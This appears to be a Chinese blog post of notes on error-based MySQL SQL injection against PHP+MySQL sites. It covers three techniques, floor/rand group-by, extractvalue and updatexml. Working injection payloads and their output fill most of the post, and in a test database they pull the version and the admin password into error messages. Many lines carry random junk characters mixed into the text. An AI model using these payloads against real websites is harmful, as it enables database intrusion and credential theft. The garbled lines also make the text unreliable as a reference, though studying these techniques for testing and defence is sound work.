关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
# z3 p! _2 P7 U1 r& J4 T实际测试环境：
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4 x( y3 L& |  ?; Gmysql> show tables;
+----------------+
| Tables_in_test |
, ?- M" n3 R# h+----------------+
| admin          |
+ o% p7 [5 e6 D| article        |
" V6 @" ]. K# X* E1 p+----------------+

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- O) h; U* r/ v8 Xmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
: i, T1 i0 a6 O2 P$ i! \, t| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
- _$ w/ W4 y; x2 s: {+ m+-------+------------------+------+-----+---------+----------------+
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mysql> describe article;
( `6 w6 k" g, K+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
) J1 B, U- u# \+---------+------------------+------+-----+---------+----------------+
3 l9 I1 V; ?# j% d% Z| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
) k- z. l$ y- b+---------+------------------+------+-----+---------+----------------+
' q" Q0 l3 @3 |2 J0 ^7 G3 a0 G# a7 z1、通过floor报错
可以通过如下一些利用代码


4 X, u! E7 g- `; Y# Z7 Qand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
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* X8 x; b) u! @and (select count(*) from (select 1 union select null union select !1)x
: Y3 Z% k7 G+ o) ugroup by concat((select table_name from information_schema.tables limit 1),
, ?! |# q3 f+ Nfloor(rand(0)*2)));
, M3 k' `/ v0 z4 ~' @举例如下：
首先进行正常查询：

* s6 P; P5 t- F* Bmysql> select * from article where id = 1;
* M; a+ C- W; S( G8 h* m+----+-------+---------+
' Y3 C; I7 E4 x, F& M  q% {| id | title | content |
  w8 o% U3 z0 v+ [9 X+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
* P# L1 L  g& C+ V. X& H* ~假如id输入存在注入的话，可以通过如下语句进行报错。
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8 U" L8 l0 C) smysql> select * from article where id = 1 and (select 1 from
) p  Z+ g' b" e(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
8 p  C- h) C/ ^, E5 W1 ]ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
' q/ \& `) X' V可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
; Q, I5 L3 ]4 @7 v例如我们需要查询管理员用户名和密码：
Method1:
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mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
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4 m5 v8 Q5 r" `8 Wmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
0 y% {! w5 {* qfloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
- }! C+ D  ^+ X  d5 T2、ExtractValue
测试语句如下
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and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
* z0 F( d$ P! A7 a实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
4 }8 m4 X% k2 ]2 C! J(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
! }- n% \4 _* u) f: O! h1 U测试语句
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and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
5 Y' l8 A& x# z( }实际测试过程
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+ \& I3 n8 {, w/ zmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
& `: d1 O0 z4 }9 B4 [All, thanks foreign guys.

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